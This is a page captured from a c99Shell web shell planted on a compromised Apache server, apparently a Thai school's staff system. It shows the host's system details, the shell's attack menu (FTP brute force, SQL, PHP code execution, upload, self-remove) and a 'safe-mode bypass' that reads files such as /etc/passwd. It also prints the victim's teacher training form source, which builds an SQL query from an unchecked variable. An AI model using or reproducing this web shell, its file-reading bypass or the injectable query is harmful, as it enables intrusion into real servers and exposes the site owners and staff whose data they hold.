!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddTraining_bkp.php (12.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menuN.php");
 
ConnectDB();

 
$sql ="SELECT * FROM personal_tb WHERE Teacher_code='$Teacher_code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
     
$Teacher_code $rs["Teacher_code"]; 
  
$rs mysql_fetch_array($result);
  
// $rs["Research_code"] = mysql_insert_id();

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link rel="stylesheet" href="../css/cart4.css" type="text/css">
<script language="JavaScript1.2">
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}

//Function to highlight form element
function highlight(e){
eventobj=ns6? e.target : event.srcElement
if (previous!=''){
if (checkel(previous))
previous.style.backgroundColor=''
previous=eventobj
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
}
else{
if (checkel(eventobj))
eventobj.style.backgroundColor=highlightcolor
previous=eventobj
}
}
</script>
<style type="text/css">
<!--
.style15 {font-size: 14px}
-->
</style>
<table width="792" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="792"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="Training_Menu.php?Teacher_code=<? echo $rs[Teacher_code?>">ข้อมูลการพัฒนาตนเอง</a>  <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="EditTrainingList.php?Teacher_code=<? echo $rs[Teacher_code?>">แก้ไขข้อมูลการพัฒนาตนเอง</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />เพิ่มข้อมูลประวัติการพัฒนาตนเอง</a></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertTraining.php">
                <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font>
                </div>
                <table width="93%" border="0" align="center" cellpadding="0" cellspacing="0" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  
                  <tr>
                    <td height="28" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  <tr>
                    <td height="43" ><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="border:0x solid gray">
                      
                      <tr bgcolor="#EEEEEE">
                        <td width="22%" height="20" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ชื่อ-นามสกุล</font></div></td>
                        <td width="2%" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="76%" bgcolor="#FFFFFF"><font color="#006633" size="2" face="Tahoma"><strong><? echo $rs["First_name"] ;?> <? echo $rs["Teacher_name"] ;?> &nbsp;&nbsp;<? echo $rs["Teacher_lastname"] ;?> </strong></font></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ระยะเวลา</font></div></td>
                        <td bgcolor="#FFFFFF"><div align="center"><font color="#FF0000" size="4" face="Tahoma">*</font></div></td>
                        <td bgcolor="#FFFFFF"><input type="radio" name="Period_code" value="00001" />
                            <font size="2" face="Tahoma"> ระยะสั้น 
                              (0-1 ปี )
                              <input type="radio" name="Period_code" value="00002" />
                        ระยะยาว ( 1-3 ปี ) </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">เรื่อง</font></div></td>
                        <td bgcolor="#FFFFFF"><div align="center"><font color="#FF0000" size="4" face="Tahoma">*</font></div></td>
                        <td bgcolor="#FFFFFF"><label>
                          <textarea name="Training_name" cols="50" rows="3" class="d" id="Training_name"></textarea>
                          </label>                        </td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">สาขาวิชา</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Major" type="text" class="d" id="Major" size="50"></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td rowspan="2" bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ประเภท</font></div></td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Training_type" value="1" />
                          </font><font face="Tahoma"><span class="style15">การอบรม</span></font><font size="2" face="Tahoma">
                          <input type="radio" name="Training_type" value="00002" />
                          </font><font face="Tahoma"><span class="style15">การศึกษาดูงาน</span></font><font size="2" face="Tahoma">
                          <input type="radio" name="Training_type" value="00003" />
                          </font><font face="Tahoma"><span class="style15">ประชุม</span></font><font size="2" face="Tahoma">
                          <input type="radio" name="Training_type" value="00004" />
                        </font><font face="Tahoma">  <span class="style15">สัมมนา </span></font></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Training_type" value="00005" />
                          </font><font face="Tahoma"><span class="style15">การศึกษาต่อ ระดับ</span></font><font size="2" face="Tahoma">
                          <input name="Level" type="text" class="d" id="Level2" size="50" />
                          </font></td>
                      </tr>
                      <tr bgcolor="#eeeeee">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">ปี พ.ศ</font></div></td>
                        <td bgcolor="#FFFFFF"><div align="center"><font color="#FF0000" size="4" face="Tahoma">*</font></div></td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input name="Year_std" type="text" class="d" id="Year_std" size="4" maxlength="4" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#eeeeee">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">สถานที่</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Place" value="ในประเทศ" />
                          </font><font face="Tahoma"><span class="style15">ในประเทศ
                          </span>
                          </font><font size="2" face="Tahoma">
<input type="radio" name="Place" value="นอกประเทศ" />
</font><font face="Tahoma"><span class="style15">ต่างประเทศ&nbsp;</span></font><font size="2" face="Tahoma">&nbsp;&nbsp;ระบุ
<input name="Place_des" type="text" class="d" id="Place_des" size="30" />
                          </font> </td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">วันที่เริ่ม</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="mDate1" id="mDate1" class="select">
                            <? getDay1to31();?>
                          </select>
                          -
                          <select name="mMonth1" id="mMonth1" class="select">
                            <? getThaiMonth();?>
                          </select>
                          -
                          <input name="mYear1" type="text" class="style15" size="3" maxlength="4" />
                          <font size="2" face="Tahoma">&nbsp;&nbsp;</font><font face="Tahoma"><span class="style15">วันสิ้นสุด</span></font><font size="2" face="Tahoma">
                          <select name="mDate2" id="mDate2" class="select">
                            <? getDay1to31();?>
                            </select>
                          -
                          <select name="mMonth2" id="mMonth2" >
                            <? getThaiMonth();?>
                            </select>
                          -
                          <input name="mYear2" type="text" class="style15" size="3" maxlength="4" />
                          </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center" class="style15"> <font face="Tahoma">จำนวนชั่วโมง</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Total_hour" type="text" class="d" id="Total_hour" size="5" />
                          <span class="style15"><font face="Tahoma">ชั่วโมง</font></span></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center" class="style15"><font face="Tahoma">เงินสนับสนุน</font> </div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Fund" type="text" class="d" id="Fund" size="5" />
                            <font face="Tahoma"><span class="style15">บาท&nbsp;&nbsp;</span></font><font size="2" face="Tahoma">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><font face="Tahoma"><span class="style15">แหล่งเงินสนับสนุน</span></font>
                        <input name="Fund_resource" type="text" class="d" id="Fund_resource" size="30" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center" class="style15"><font face="Tahoma">หน่วยงานที่จัด</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Organiz" type="text" class="d" id="Organiz" size="50" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">สถานที่จัด</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="CNEU" type="text" class="d" id="CNEU" size="50" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">สรุปผลการอบรม/ประชุม/สัมนา</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><textarea name="Apply" cols="50" rows="6" id="Apply"></textarea></td>
                      </tr>
                      <tr bgcolor="#D2F49F" >
                        <td height="25" colspan="3" bgcolor="#FFFFFF"><div align="center">
                            <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                            <input type="submit" name="Submit" value=" บันทึก " class="button" />
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="reset" name="Submit2" value="เริ่มใหม่" class="button" />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
                <br>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0178 ]--